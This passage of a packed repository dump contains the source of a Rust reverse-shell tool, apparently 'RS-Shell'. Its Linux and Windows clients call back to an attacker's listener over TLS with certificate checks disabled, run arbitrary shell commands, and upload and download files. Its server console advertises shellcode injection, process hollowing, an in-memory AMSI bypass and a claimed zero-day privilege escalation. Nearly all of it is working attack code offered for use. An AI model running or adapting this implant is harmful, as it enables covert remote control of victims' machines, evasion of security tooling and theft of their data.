            return Err(r);\n            }\n        }\n    } else if args.get_one::<String>(\"mode\").unwrap() == \"https\"\n        && args.get_one::<String>(\"side\").unwrap() == \"i\"\n    {\n        match implant(args.get_one::<String>(\"ip\").unwrap().as_str()) {\n            Ok(_) => (),\n            Err(r) => {\n                log::error!(\"Error starting the implant : {}. Attempt to restart it\", r);\n                match implant(args.get_one::<String>(\"ip\").unwrap().as_str()) {\n                    Ok(_) => (),\n                    Err(r) => {\n                        log::debug!(\"Error still present : {}\", r);\n                        return Err(r);\n                    }\n                }\n            }\n        }\n    }\n    Ok(())\n}\n"
  },
  {
    "path": "src/tcp/tcp_linux_client.rs",
    "content": "use crate::utils::tools::receive_and_write_bytes;\n\nuse std::error::Error;\nuse std::fs::File;\nuse std::io::{Read, Write};\nuse std::process::{exit, Command};\n\nuse native_tls::TlsConnector;\nuse std::net::TcpStream;\n\nfn do_stuff(cmd: &str) -> Vec<u8> {\n    let exec = Command::new(\"/bin/bash\")\n        .args([\"-c\", cmd.trim_end_matches(\"\\r\\n\")])\n        .output()\n        .unwrap();\n\n    let stdo = exec.stdout.as_slice();\n    let _stdr = exec.stderr.as_slice();\n\n    if _stdr.is_empty() {\n        stdo.to_vec()\n    } else {\n        _stdr.to_vec()\n    }\n}\n\npub fn client(i: &str, p: &str) -> Result<(), Box<dyn Error>> {\n    // Connection to server and TLS setup\n    let clt = TcpStream::connect(i.to_owned() + \":\" + p)?;\n    log::debug!(\n        \"[+] TCP connection success to the listener at {}\",\n        clt.peer_addr()?\n    );\n    let mut connector_builder = TlsConnector::builder();\n    connector_builder.danger_accept_invalid_certs(true);\n    connector_builder.danger_accept_invalid_hostnames(true);\n    let connector = connector_builder.build()?;\n\n    let stream = connector.connect(\"dummy\", clt);\n    let mut tls_stream = match stream {\n        Ok(s) => s,\n        Err(r) => {\n            log::debug!(\"TLS handshake error : {}\", r);\n            exit(6);\n        }\n    };\n\n    let os = std::env::consts::FAMILY;\n    tls_stream.write_all(os.as_bytes())?;\n\n    // Cmd execution loop\n    loop {\n        // Read input from server\n        let mut buff = [0; 4096];\n        let read = tls_stream.read(&mut buff[0..]);\n        let bytes_read = match read {\n            Ok(b) => b,\n            Err(r) => {\n                log::debug!(\"Reading error : {}\", r);\n                continue;\n            }\n        };\n\n        // Check to quit\n        if String::from_utf8_lossy(&buff)\n            .trim_end_matches('\\0')\n            .trim_end()\n            == \"quit\"\n            || String::from_utf8_lossy(&buff)\n                .trim_end_matches('\\0')\n                .trim_end()\n                == \"exit\"\n        {\n            log::debug!(\"Quit\");\n            break;\n        }\n\n        // Check for download/upload commands\n        if String::from_utf8_lossy(&buff)\n            .trim_end_matches('\\0')\n            .starts_with(\"download\")\n        {\n            let tmp = \"\".to_owned();\n            let cmd = tmp + String::from_utf8_lossy(&buff[..bytes_read]).trim_end_matches('\\0');\n            let path: Vec<&str> = cmd.split(' ').collect();\n            match File::open(path[1]) {\n                Ok(mut file) => {\n                    let mut file_buffer = [0; 4096];\n                    loop {\n                        let bytes_read = file.read(&mut file_buffer)?;\n                        if bytes_read == 0 {\n                            let end_of_file =\n                                \"EndOfTheFile:\".to_owned() + &file.metadata()?.len().to_string();\n                            tls_stream.write_all(end_of_file.as_bytes())?;\n                            break;\n                        }\n                        tls_stream.write_all(&file_buffer[..bytes_read])?;\n                    }\n                }\n                Err(r) => {\n                    tls_stream.write_all(r.to_string().as_bytes())?;\n                    tls_stream.write_all(\"EndOfTheFile\".as_bytes())?;\n                }\n            }\n        } else if String::from_utf8_lossy(&buff)\n            .trim_end_matches('\\0')\n            .starts_with(\"upload\")\n        {\n            let tmp = \"\".to_owned();\n            let cmd = tmp + String::from_utf8_lossy(&buff[..bytes_read]).trim_end_matches('\\0');\n            let path: Vec<&str> = cmd.split(' ').collect();\n            match File::create(path[2].trim_end_matches('\\0').trim_end()) {\n                Ok(mut file) => {\n                    tls_stream.write(\"Creation OK\".as_bytes())?;\n                    let mut file_buffer = [0; 4096];\n                    let mut file_vec: Vec<u8> = Vec::new();\n                    match tls_stream.read(&mut file_buffer) {\n                        Ok(_) => receive_and_write_bytes(\n                            &mut tls_stream,\n                            &mut file_vec,\n                            &mut file_buffer,\n                        )?,\n                        Err(r) => {\n                            log::debug!(\"Reading error : {}\", r);\n                            tls_stream.flush()?;\n                            continue;\n                        }\n                    }\n                    file.write(&file_vec)?;\n                }\n                Err(r) => {\n                    log::debug!(\"File creation error : {}\", r);\n                    tls_stream\n                        .write((\"Creation not OK : \".to_owned() + &r.to_string()).as_bytes())?;\n                }\n            }\n        } else {\n            // Magic stuff\n            let mut res =\n                do_stuff(String::from_utf8_lossy(&buff[..bytes_read]).trim_end_matches('\\0'));\n            if res.is_empty() {\n                tls_stream.write_all(\"\\0\".as_bytes())?;\n            } else {\n                // Because the TLS max buffer size depends on the underlying library, we cut the paquets to send them into blocks of 4096\n                let mut buff_to_send = [0; 4096];\n                loop {\n                    let mut count = 0;\n                    for c in &res {\n                        if count == 4096 {\n                            break;\n                        }\n                        buff_to_send[count] = *c;\n                        count += 1;\n                    }\n                    let _ = tls_stream.write(&buff_to_send)?;\n                    buff_to_send = [0; 4096];\n                    if count < 4096 {\n                        break;\n                    }\n                    let res2 = res.split_off(count);\n                    res = res2;\n                }\n            }\n        }\n        tls_stream.flush()?;\n    }\n\n    tls_stream.shutdown()?;\n    Ok(())\n}\n"
  },
  {
    "path": "src/tcp/tcp_server.rs",
    "content": "use std::error::Error;\nuse std::fs::File;\nuse std::io::{self, Read, Write};\nuse std::process::exit;\nuse std::sync::Arc;\nuse std::thread;\n\nuse native_tls::{Identity, TlsAcceptor};\nuse regex::Regex;\nuse std::net::{Ipv4Addr, SocketAddrV4, TcpListener};\n\nuse crate::autopwn;\nuse crate::utils::tools::{read_and_send_file, receive_and_write_bytes};\n\nstatic PATH_REGEX: &str = r#\"PS (?<ParentPath>(?:[a-zA-Z]\\:|\\\\\\\\[\\w\\s\\.\\-]+\\\\[^\\/\\\\<>:\"|?\\n\\r]+)\\\\(?:[^\\/\\\\<>:\"|?\\n\\r]+\\\\)*)(?<BaseName>[^\\/\\\\<>:\"|?\\n\\r]*?)> \"#;\n\npub fn server(i: &str, port: u16, cert_path: &str, cert_pass: &str) -> Result<(), Box<dyn Error>> {\n    // Read TLS certificate and create identity from it\n    let file = File::open(cert_path);\n    let mut file = match file {\n        Ok(f) => f,\n        Err(_) => {\n            log::error!(\"PFX file cannot be openned\");\n            exit(2);\n        }\n    };\n\n    let mut identity = vec![];\n    file.read_to_end(&mut identity)?;\n    let identity = Identity::from_pkcs12(&identity, cert_pass)?;\n\n    // Addr and port where server will bind\n    let ip = i.parse::<Ipv4Addr>();\n    let ip_addr = match ip {\n        Ok(i) => i,\n        Err(r) => {\n            log::error!(\"{}\", r);\n            exit(3);\n        }\n    };\n\n    // Socket creation and binding\n    let socket = SocketAddrV4::new(ip_addr, port);\n    let tcp_lstn = TcpListener::bind(socket);\n    let listener = match tcp_lstn {\n        Ok(l) => l,\n        Err(r) => {\n            log::error!(\"{}\", r);\n            exit(4);\n        }\n    };\n\n    let acceptor = TlsAcceptor::new(identity)?;\n    let acceptor = Arc::new(acceptor);\n\n    println!(\"{}\", banner());\n    log::info!(\"[+] Binded to {}:{}\", ip_addr, port);\n\n    if let Some(tcp_stream) = listener.incoming().next() {\n        match tcp_stream {\n            Ok(tcp_stream) => {\n                let acceptor = acceptor.clone();\n                let server_handle = thread::spawn(move || {\n                    log::info!(\n                        \"[+] TCP connection success from {} ! BANG BANG !\",\n                        tcp_stream.peer_addr().unwrap()\n                    );\n                    let mut stream = acceptor.accept(tcp_stream).expect(\"Error TLS accept\");\n                    log::info!(\"[+] This shell is yours !\");\n                    log::info!(\"[+] Type 'help' for advanced integrated commands\");\n\n                    let mut buff = [0; 4096];\n                    let mut _client_os = String::new();\n                    match stream.read(&mut buff) {\n                        Ok(_) => {\n                            _client_os = String::from_utf8_lossy(&buff)\n                                .trim_end_matches('\\0')\n                                .trim_end()\n                                .to_string();\n                        }\n                        Err(r) => {\n                            log::error!(\"Cannot read client OS : {}\", r);\n                            _client_os = \"undefined\".to_string();\n                        }\n                    }\n                    log::info!(\"[+] Client's OS family is {}\", _client_os);\n\n                    // Ctrl+C handler to avoid kill the shell by error\n                    ctrlc::set_handler(move || {\n                        println!(\"Ctrl+C handled. Type 'quit' or 'exit' to quit, or kill the process manually.\");\n                    })\n                    .expect(\"Error setting Ctrl-C handler\");\n\n                    // Command loop\n                    loop {\n                        print!(\"> \");\n                        io::stdout().flush().unwrap();\n                        let mut cmd = String::new();\n                        io::stdin().read_line(&mut cmd).expect(\"[-] Input issue\");\n                        cmd.push('\\0');\n\n                        // Check for help command\n                        if cmd.as_str().starts_with(\"help\") {\n                            println!(\"{}\", help());\n                            continue;\n                        }\n\n                        // Check for autopwn command\n                        if cmd.as_str().starts_with(\"autopwn\") {\n                            print!(\"What is the meaning of life ? \");\n                            io::stdout().flush().unwrap();\n                            let mut life = String::new();\n                            io::stdin().read_line(&mut life).expect(\"[-] Input issue\");\n                            if life\n                                .trim_end_matches('\\0')\n                                .trim_end()\n                                .eq_ignore_ascii_case(\"42\")\n                            {\n                                autopwn::autopwn();\n                                continue;\n                            }\n                            continue;\n                        }\n\n                        // Cmd handling\n                        if cmd.trim_end_matches('\\0').trim_end().ne(\"\") {\n                            // Check for download/upload commands\n                            if cmd.as_str().starts_with(\"download\") {\n                                let path: Vec<&str> = cmd.split(' ').collect();\n                                if path.len() != 3 {\n                                    log::warn!(\"Invalid argument number. Usage is : download C:\\\\file\\\\to\\\\download C:\\\\local\\\\path\\0\");\n                                } else {\n                                    match File::create(path[2].trim_end_matches('\\0').trim_end()) {\n                                        Ok(mut file) => {\n                                            match stream.write(cmd.as_bytes()) {\n                                                Ok(_) => (),\n                                                Err(r) => {\n                                                    log::error!(\n                                                        \"Error sending the download command : {}\",\n                                                        r\n                                                    );\n                                                    stream.flush().unwrap();\n                                                    continue;\n                                                }\n                                            }\n                                            let mut buff = [0; 4096];\n                                            let mut file_vec: Vec<u8> = Vec::new();\n                                            match stream.read(&mut buff) {\n                                                Ok(_) => {\n                                                    match receive_and_write_bytes(\n                                                        &mut stream,\n                                                        &mut file_vec,\n                                                        &mut buff,\n                                                    ) {\n                                                        Ok(_) => (),\n                                                        Err(r) => {\n                                                            log::error!(\n                                                                \"Error receiving data : {}\",\n                                                                r\n                                                            );\n                                                            stream.flush().unwrap();\n                                                            continue;\n                                                        }\n                                                    }\n                                                }\n                                                Err(r) => {\n                                                    log::error!(\"Error during download : {}\", r);\n                                                    stream.flush().unwrap();\n                                                    continue;\n                                                }\n                                            }\n                                            file.write(&file_vec).expect(\"Error writing the file\");\n                                        }\n                                        Err(r) => {\n                                            log::error!(\"Error during file creation : {}\", r);\n                                            continue;\n                                        }\n                                    }\n                                }\n                                continue;\n                            } else if cmd.as_str().starts_with(\"upload\") {\n                                let path: Vec<&str> = cmd.split(' ').collect();\n                                if path.len() != 3 {\n                                    log::warn!(\"Invalid argument number. Usage is : upload C:\\\\local\\\\file\\\\to\\\\upload C:\\\\remote\\\\path\\\\to\\\\write\\0\");\n                                } else {\n                                    match File::open(path[1]) {\n                                        Ok(file) => {\n                                            let mut buff = [0; 4096];\n                                            match stream.write(cmd.as_bytes()) {\n                                                Ok(_) => {\n                                                    stream\n                                                        .read(&mut buff)\n                                                        .expect(\"Cannot read file creation result\");\n                                                    if String::from_utf8_lossy(&buff)\n                                                        .trim_end_matches('\\0')\n                                                        .ne(\"Creation OK\")\n                                                    {\n                                                        log::warn!(\n                                                            \"{}\",\n                                                            String::from_utf8_lossy(&buff)\n                                                                .trim_end_matches('\\0')\n                                                        );\n                                                        continue;\n                                                    }\n                                                }\n                                                Err(r) => {\n                                                    log::error!(\n                                                        \"Error sending the upload command : {}\",\n                                                        r\n                                                    );\n                                                    stream.flush().unwrap();\n                                                    continue;\n                                                }\n                                            }\n                                            match read_and_send_file(file, &mut stream) {\n                                                Ok(_) => (),\n                                                Err(r) => {\n                                                    log::error!(\"Error during upload : {}\", r);\n                                                    stream.flush().unwrap();\n                                                    continue;\n                                                }\n                                            }\n                                        }\n                                        Err(r) => {\n                                            log::error!(\"File cannot be opened : {}\", r);\n                                            stream.flush().unwrap();\n                                            continue;\n                                        }\n                                    }\n                                }\n                                continue;\n                            }\n\n                            // Check for load command\n                            if cmd.as_str().starts_with(\"load -s\")\n                                || cmd.as_str().starts_with(\"syscalls -s\")\n                            {\n                                let path: Vec<&str> = cmd.split(' ').collect();\n                                if path.len() != 4 {\n                                    log::warn!(\"Invalid argument number. Usage is : load -s C:\\\\path\\\\to\\\\shellcode.bin C:\\\\path\\\\to\\\\PE_to_execute\\0\");\n                                    continue;\n                                } else {\n                                    if _client_os.ne(\"windows\") {\n                                        log::warn!(\"Client's OS is not Windows, this command doesn't make any sense\");\n                                        continue;\n                                    }\n                                    match File::open(path[2]) {\n                                        Ok(file) => {\n                                            match stream.write(cmd.as_bytes()) {\n                                                Ok(_) => (),\n                                                Err(r) => {\n                                                    log::error!(\n                                                        \"Error sending the load command : {}\",\n                                                        r\n                                                    );\n                                                    stream.flush().unwrap();\n                                                    continue;\n                                                }\n                                            }\n                                            match read_and_send_file(file, &mut stream) {\n                                                Ok(_) => (),\n                                                Err(r) => {\n                                                    log::error!(\"Error during loading : {}\", r);\n                                                    stream.flush().unwrap();\n                                                    continue;\n                                                }\n                                            }\n                                        }\n                                        Err(r) => {\n                                            log::error!(\"File cannot be opened : {}\", r);\n                                            stream.flush().unwrap();\n                                            continue;\n                                        }\n                                    }\n                                }\n                                stream\n                                    .read(&mut buff)\n                                    .expect(\"Error reading the result of the load command\");\n                                continue;\n                            }\n\n                            // Snippet for load -h command with PE loading from the server by Copilot\n                            // For future use\n                            /*else if cmd.as_str().starts_with(\"load -h\") {\n                                let path: Vec<&str> = cmd.split(' ').collect();\n                                if path.len() != 4 {\n                                    log::warn!(\"Invalid argument number. Usage is : load -h C:\\\\path\\\\to\\\\PE_to_load C:\\\\path\\\\to\\\\PE_to_hollow\\0\");\n                                } else {\n                                    match File::open(path[2]) {\n                                        Ok(mut file) => {\n                                            let mut buff = [0; 4096];\n                                            match stream.write(cmd.as_bytes()) {\n                                                Ok(_) => (),\n                                                Err(r) => {\n                                                    log::error!(\n                                                        \"Error sending the load command : {}\",\n                                                        r\n                                                    );\n                                                    stream.flush().unwrap();\n                                                    continue;\n                                                }\n                                            }\n                                            match read_and_send_file(file, &mut stream) {\n                                                Ok(_) => (),\n                                                Err(r) => {\n                                                    log::error!(\"Error during load : {}\", r);\n                                                    stream.flush().unwrap();\n                                                    continue;\n                                                }\n                                            }\n                                        }\n                                        Err(r) => {\n                                            log::error!(\"File cannot be opened : {}\", r);\n                                            stream.flush().unwrap();\n                                            continue;\n                                        }\n                                    }\n                                }\n                                continue;\n                            } else if cmd.as_str().starts_with(\"load\") {\n                            }*/\n\n                            // Check for amsi command\n                            if cmd.as_str().starts_with(\"powpow\") {\n                                if _client_os.ne(\"windows\") {\n                                    log::warn!(\"Client's OS is not Windows, this command doesn't make any sense\");\n                                    continue;\n                                }\n                                print!(\"Wait ! This feature is not really opsec, are you a big daddy ? [Y/N] \");\n                                io::stdout().flush().unwrap();\n                                let mut big_daddy = String::new();\n                                io::stdin()\n                                    .read_line(&mut big_daddy)\n                                    .expect(\"[-] Input issue\");\n                                if !big_daddy\n                                    .trim_end_matches('\\0')\n                                    .trim_end()\n                                    .eq_ignore_ascii_case(\"Y\")\n                                {\n                                    log::info!(\"Not starting PowerShell\");\n                                    continue;\n                                }\n                                print!(\"Do you want to patch the AMSI in memory or not ? [Y/N] \");\n                                io::stdout().flush().unwrap();\n                                let mut amsi = String::new();\n                                let mut syscalls_value = String::new();\n                                io::stdin().read_line(&mut amsi).expect(\"[-] Input issue\");\n                                if !amsi\n                                    .trim_end_matches('\\0')\n                                    .trim_end()\n                                    .eq_ignore_ascii_case(\"Y\")\n                                {\n                                    log::info!(\"[+] Starting PowerShell without patching the AMSI, please wait...\");\n                                } else {\n                                    print!(\"Do you want to use indirect syscalls ? [Y/N] \");\n                                    io::stdout().flush().unwrap();\n                                    io::stdin()\n                                        .read_line(&mut syscalls_value)\n                                        .expect(\"[-] Input issue\");\n                                    if !syscalls_value\n                                        .trim_end_matches('\\0')\n                                        .trim_end()\n                                        .eq_ignore_ascii_case(\"Y\")\n                                    {\n                                        log::info!(\"[+] Starting PowerShell and patching the AMSI without indirect syscalls, please wait...\");\n                                    } else {\n                                        log::info!(\"[+] Starting PowerShell and patching the AMSI with indirect syscalls, please wait...\");\n                                    }\n                                }\n                                match stream.write(\n                                    (cmd.trim_end_matches('\\0').to_owned()\n                                        + \":\"\n                                        + &amsi\n                                        + \":\"\n                                        + &syscalls_value)\n                                        .as_bytes(),\n                                ) {\n                                    Ok(_) => (),\n                                    Err(r) => {\n                                        log::error!(\"Error sending the powpow command : {}\", r);\n                                        stream.flush().unwrap();\n                                        continue;\n                                    }\n                                }\n                                let path_regex = Regex::new(PATH_REGEX).unwrap();\n                                loop {\n                                    let mut cmd = String::new();\n                                    let mut buff = [0; 4096];\n                                    // Read output from client\n                                    match stream.read(&mut buff) {\n                                        Ok(_) => {\n                                            while !path_regex.is_match(\n                                                String::from_utf8_lossy(&buff)\n                                                    .trim_end_matches('\\0')\n                                                    .to_string()\n                                                    .as_str(),\n                                            ) {\n                                                print!(\n                                                    \"{}\",\n                                                    String::from_utf8_lossy(&buff)\n                                                        .trim_end_matches('\\0')\n                                                );\n                                                buff = [0; 4096];\n                                                match stream.read(&mut buff) {\n                                                    Ok(_) => (),\n                                                    Err(r) => {\n                                                        log::error!(\"Reading error : {}\", r);\n                                                        stream.flush().unwrap();\n                                                        continue;\n                                                    }\n                                                }\n                                            }\n                                            print!(\n                                                \"{}\",\n                                                String::from_utf8_lossy(&buff)\n                                                    .trim_end_matches('\\0')\n                                            );\n                                        }\n                                        Err(r) => {\n                                            log::error!(\"Reading error : {}\", r);\n                                            stream.flush().unwrap();\n                                            continue;\n                                        }\n                                    }\n                                    io::stdout().flush().unwrap();\n                                    io::stdin().read_line(&mut cmd).expect(\"[-] Input issue\");\n                                    match stream.write(cmd.as_bytes()) {\n                                        Ok(_) => (),\n                                        Err(r) => {\n                                            log::error!(\n                                                \"Error sending command to PowerShell : {}\",\n                                                r\n                                            );\n                                            stream.flush().unwrap();\n                                            continue;\n                                        }\n                                    }\n                                    // Check quit\n                                    if cmd.trim_end_matches('\\0').trim_end() == \"quit\"\n                                        || cmd.trim_end_matches('\\0').trim_end() == \"exit\"\n                                    {\n                                        break;\n                                    }\n                                }\n                                continue;\n                            }\n\n                            stream\n                                .write_all(cmd.as_bytes())\n                                .expect(\"Error sending command\");\n                            let mut buff = [0; 4096];\n                            // Read output from client\n                            match stream.read(&mut buff) {\n                                Ok(_) => {\n                                    while buff[4095] != 0 {\n                                        print!(\n                                            \"{}\",\n                                            String::from_utf8_lossy(&buff).trim_end_matches('\\0')\n                                        );\n                                        buff = [0; 4096];\n                                        match stream.read(&mut buff) {\n                                            Ok(_) => (),\n                                            Err(r) => {\n                                                log::error!(\"Reading error : {}\", r);\n                                                stream.flush().unwrap();\n                                                continue;\n                                            }\n                                        }\n                                    }\n                                    println!(\n                                        \"{}\",\n                                        String::from_utf8_lossy(&buff).trim_end_matches('\\0')\n                                    );\n                                }\n                                Err(r) => {\n                                    log::error!(\"Reading error : {}\", r);\n                                    stream.flush().unwrap();\n                                    continue;\n                                }\n                            }\n                        }\n\n                        // Check quit\n                        if cmd.trim_end_matches('\\0').trim_end() == \"quit\"\n                            || cmd.trim_end_matches('\\0').trim_end() == \"exit\"\n                        {\n                            break;\n                        }\n                    }\n\n                    // This is the end\n                    println!(\"[+] Goodbye my friend <3\");\n                    stream.shutdown().unwrap();\n                });\n\n                match server_handle.join() {\n                    Ok(ha) => ha,\n                    Err(r) => {\n                        println!(\"{:?}\", r);\n                    }\n                }\n            }\n            Err(r) => {\n                log::error!(\"Error listener {}\", r);\n                exit(5);\n            }\n        }\n    }\n\n    Ok(())\n}\n\nfn help() -> String {\n    \"[+] Custom integrated commands :\n\n    [+] Loading commands\n    > load C:\\\\path\\\\to\\\\PE_to_load\n        load a PE file in the client process memory and executes it. This will kill the reverse shell !\n    > load -h C:\\\\path\\\\to\\\\PE_to_load C:\\\\path\\\\to\\\\PE_to_hollow\n        load a PE file in a remote process memory with process hollowing and executes it\n    > load -s C:\\\\path\\\\to\\\\shellcode.bin C:\\\\path\\\\to\\\\PE_to_execute\n        load a shellcode in a remote process memory and start a new thread with it\n\n    [+] Loading commands with indirect syscalls\n    > syscalls C:\\\\path\\\\to\\\\PE_to_load\n        load a PE file in the client process memory and executes it, with indirect syscalls. This will kill the reverse shell !\n    > syscalls -h C:\\\\path\\\\to\\\\PE_to_load C:\\\\path\\\\to\\\\PE_to_hollow\n        load a PE file in a remote process memory with process hollowing and executes it, with indirect syscalls\n    > syscalls -s C:\\\\path\\\\to\\\\shellcode.bin C:\\\\path\\\\to\\\\PE_to_execute\n        load a shellcode in a remote process memory and start a new thread with it, with indirect syscalls\n\n    [+] Bypass commands\n    > powpow\n        start a new interactive PowerShell session with the AMSI patched in memory, with or without indirect syscalls\n\n    [+] Network commands\n    > download C:\\\\file\\\\to\\\\download C:\\\\local\\\\path\n        download a file from the remote system\n    > upload C:\\\\local\\\\file\\\\to\\\\upload C:\\\\remote\\\\path\\\\to\\\\write\n        upload a file to the remote system\n\n    [+] Special commands\n    > autopwn\n        escalate to the SYSTEM or root account from any local account by exploiting a zero day\n    \".to_string()\n}\n\nfn banner() -> String {\n    r#\"\n     ____  _____      _____ __         ____\n    / __ \\/ ___/     / ___// /_  ___  / / /\n   / /_/ /\\__ \\______\\__ \\/ __ \\/ _ \\/ / / \n  / _, _/___/ /_____/__/ / / / /  __/ / /  \n /_/ |_|/____/     /____/_/ /_/\\___/_/_/                                                  \n     in Rust with love by BlackWasp\n               @BlWasp_                          \n \n    \"#\n    .to_string()\n}\n"
  },
  {
    "path": "src/tcp/tcp_windows_client.rs",
    "content": "use crate::amsi_bypass::{patch_amsi, start_process_thread};\nuse crate::utils::tools::{read_and_send_file, receive_and_write_bytes};\nuse crate::utils::tools_windows::{call_loader_pe, call_loader_shellcode};\n\nuse std::error::Error;\nuse std::fs::File;\nuse std::io::{Read, Write};\nuse std::process::{exit, Command, Stdio};\nuse std::sync::mpsc::{channel, TryRecvError};\nuse std::sync::{atomic::AtomicBool, atomic::Ordering, Arc};\n\nuse native_tls::TlsConnector;\nuse signal_hook::consts::SIGTERM;\nuse std::net::TcpStream;\n\nfn do_stuff(cmd: &str) -> Vec<u8> {\n    let exec = Command::new(\"cmd.exe\").args(&[\"/c\", cmd]).output().unwrap();\n\n    let stdo = exec.stdout.as_slice();\n    let _stdr = exec.stderr.as_slice();\n\n    if _stdr.len() == 0 {\n        return stdo.to_vec();\n    } else {\n        return _stdr.to_vec();\n    }\n}\n\npub fn client(i: &str, p: &str) -> Result<(), Box<dyn Error>> {\n    // Connection to server and TLS setup\n    let clt = TcpStream::connect(i.to_owned() + \":\" + p)?;\n    log::debug!(\n        \"[+] TCP connection success to the listener at {}\",\n        clt.peer_addr()?\n    );\n    let mut connector_builder = TlsConnector::builder();\n    connector_builder.danger_accept_invalid_certs(true);\n    connector_builder.danger_accept_invalid_hostnames(true);\n    let connector = connector_builder.build()?;\n\n    let stream = connector.connect(\"dummy\", clt);\n    let mut tls_stream = match stream {\n        Ok(s) => s,\n        Err(r) => {\n            log::debug!(\"TLS handshake error : {:?}\", r.source());\n            exit(6);\n        }\n    };\n\n    let os = std::env::consts::FAMILY;\n    tls_stream.write(os.as_bytes())?;\n\n    // Cmd execution loop\n    loop {\n        // Read input from server\n        let mut buff = [0; 4096];\n        let read = tls_stream.read(&mut buff[0..]);\n        let bytes_read = match read {\n            Ok(b) => b,\n            Err(r) => {\n                log::debug!(\"Reading error : {}\", r);\n                continue;\n            }\n        };\n\n        // Check to quit\n        if String::from_utf8_lossy(&buff)\n            .trim_end_matches('\\0')\n            .trim_end()\n            == \"quit\"\n            || String::from_utf8_lossy(&buff)\n                .trim_end_matches('\\0')\n                .trim_end()\n                == \"exit\"\n        {\n            log::debug!(\"Quit\");\n            break;\n        }\n\n        // Check for download/upload commands\n        if String::from_utf8_lossy(&buff)\n            .trim_end_matches('\\0')\n            .starts_with(\"download\")\n        {\n            let tmp = \"\".to_owned();\n            let cmd = tmp + String::from_utf8_lossy(&buff[..bytes_read]).trim_end_matches('\\0');\n            let path: Vec<&str> = cmd.split(\" \").collect();\n            match File::open(path[1]) {\n                Ok(file) => match read_and_send_file(file, &mut tls_stream) {\n                    Ok(_) => (),\n                    Err(r) => {\n                        log::error!(\"Error during upload : {}\", r);\n                        tls_stream.flush().unwrap();\n                        continue;\n                    }\n                },\n                Err(r) => {\n                    tls_stream.write(r.to_string().as_bytes())?;\n                    tls_stream.write_all(\"EndOfTheFile\".as_bytes())?;\n                }\n            }\n        } else if String::from_utf8_lossy(&buff)\n            .trim_end_matches('\\0')\n            .starts_with(\"upload\")\n        {\n            let tmp = \"\".to_owned();\n            let cmd = tmp + String::from_utf8_lossy(&buff[..bytes_read]).trim_end_matches('\\0');\n            let path: Vec<&str> = cmd.split(\" \").collect();\n            match File::create(path[2].trim_end_matches('\\0').trim_end()) {\n                Ok(mut file) => {\n                    tls_stream.write(\"Creation OK\".as_bytes())?;\n                    let mut file_buffer = [0; 4096];\n                    let mut file_vec: Vec<u8> = Vec::new();\n                    match tls_stream.read(&mut file_buffer) {\n                        Ok(_) => receive_and_write_bytes(\n                            &mut tls_stream,\n                            &mut file_vec,\n                            &mut file_buffer,\n                        )?,\n                        Err(r) => {\n                            log::debug!(\"Reading error : {}\", r);\n                            tls_stream.flush()?;\n                            continue;\n                        }\n                    }\n                    file.write(&file_vec)?;\n                }\n                Err(r) => {\n                    log::debug!(\"File creation error : {}\", r);\n                    tls_stream\n                        .write((\"Creation not OK : \".to_owned() + &r.to_string()).as_bytes())?;\n                }\n            }\n\n        // Check for load command\n        } else if String::from_utf8_lossy(&buff)\n            .trim_end_matches('\\0')\n            .starts_with(\"load -h\")\n            || String::from_utf8_lossy(&buff)\n                .trim_end_matches('\\0')\n                .starts_with(\"syscalls -h\")\n            || String::from_utf8_lossy(&buff)\n                .trim_end_matches('\\0')\n                .starts_with(\"load -s\")\n            || String::from_utf8_lossy(&buff)\n                .trim_end_matches('\\0')\n                .starts_with(\"syscalls -s\")\n        {\n            let tmp = \"\".to_owned();\n            let cmd = tmp + String::from_utf8_lossy(&buff[..bytes_read]).trim_end_matches('\\0');\n            let path: Vec<&str> = cmd.split(\" \").collect();\n            if path.len() != 4 {\n                if String::from_utf8_lossy(&buff)\n                    .trim_end_matches('\\0')\n                    .starts_with(\"load -h\")\n                {\n                    tls_stream.write(\"Invalid argument number. Usage is : load -h C:\\\\path\\\\to\\\\PE_to_load C:\\\\path\\\\to\\\\PE_to_hollow\\0\".as_bytes())?;\n                } else if String::from_utf8_lossy(&buff)\n                    .trim_end_matches('\\0')\n                    .starts_with(\"syscalls -h\")\n                {\n                    tls_stream.write(\"Invalid argument number. Usage is : syscalls -h C:\\\\path\\\\to\\\\PE_to_load C:\\\\path\\\\to\\\\PE_to_hollow\\0\".as_bytes())?;\n                }\n            } else {\n                let load_ret: Result<(), Box<dyn Error>>;\n                if String::from_utf8_lossy(&buff)\n                    .trim_end_matches('\\0')\n                    .starts_with(\"load -h\")\n                {\n                    load_ret = call_loader_pe(\n                        path[2].trim_end_matches('\\0'),\n                        path[3].trim_end_matches('\\0'),\n                        0,\n                    );\n                } else if String::from_utf8_lossy(&buff)\n                    .trim_end_matches('\\0')\n                    .starts_with(\"syscalls -h\")\n                {\n                    load_ret = call_loader_pe(\n                        path[2].trim_end_matches('\\0'),\n                        path[3].trim_end_matches('\\0'),\n                        1,\n                    );\n                } else {\n                    let mut shellcode_buffer = [0; 4096];\n                    let mut shellcode_vec: Vec<u8> = Vec::new();\n                    match tls_stream.read(&mut shellcode_buffer) {\n                        Ok(_) => {\n                            receive_and_write_bytes(\n                                &mut tls_stream,\n                                &mut shellcode_vec,\n                                &mut shellcode_buffer,\n                            )?;\n                        }\n                        Err(r) => {\n                            log::debug!(\"Reading error : {}\", r);\n                            tls_stream.flush()?;\n                            continue;\n                        }\n                    }\n                    if String::from_utf8_lossy(&buff)\n                        .trim_end_matches('\\0')\n                        .starts_with(\"load -s\")\n                    {\n                        load_ret =\n                            call_loader_shellcode(shellcode_vec, path[3].trim_end_matches('\\0'), 0);\n                    } else {\n                        load_ret =\n                            call_loader_shellcode(shellcode_vec, path[3].trim_end_matches('\\0'), 1);\n                    }\n                }\n\n                match load_ret {\n                    Ok(()) => {\n                        tls_stream.write(\"\\0\".as_bytes())?;\n                    }\n                    Err(r) => {\n                        tls_stream.write(r.to_string().as_bytes())?;\n                    }\n                };\n            }\n        } else if String::from_utf8_lossy(&buff)\n            .trim_end_matches('\\0')\n            .starts_with(\"load \")\n            || String::from_utf8_lossy(&buff)\n                .trim_end_matches('\\0')\n                .starts_with(\"syscalls \")\n        {\n            let tmp = \"\".to_owned();\n            let cmd = tmp + String::from_utf8_lossy(&buff[..bytes_read]).trim_end_matches('\\0');\n            let path: Vec<&str> = cmd.split(\" \").collect();\n            if path.len() != 2 {\n                if String::from_utf8_lossy(&buff)\n                    .trim_end_matches('\\0')\n                    .starts_with(\"load\")\n                {\n                    tls_stream.write(\n                        \"Invalid argument number. Usage is : load C:\\\\path\\\\to\\\\PE_to_load\\0\"\n                            .as_bytes(),\n                    )?;\n                } else {\n                    tls_stream.write(\n                        \"Invalid argument number. Usage is : syscalls 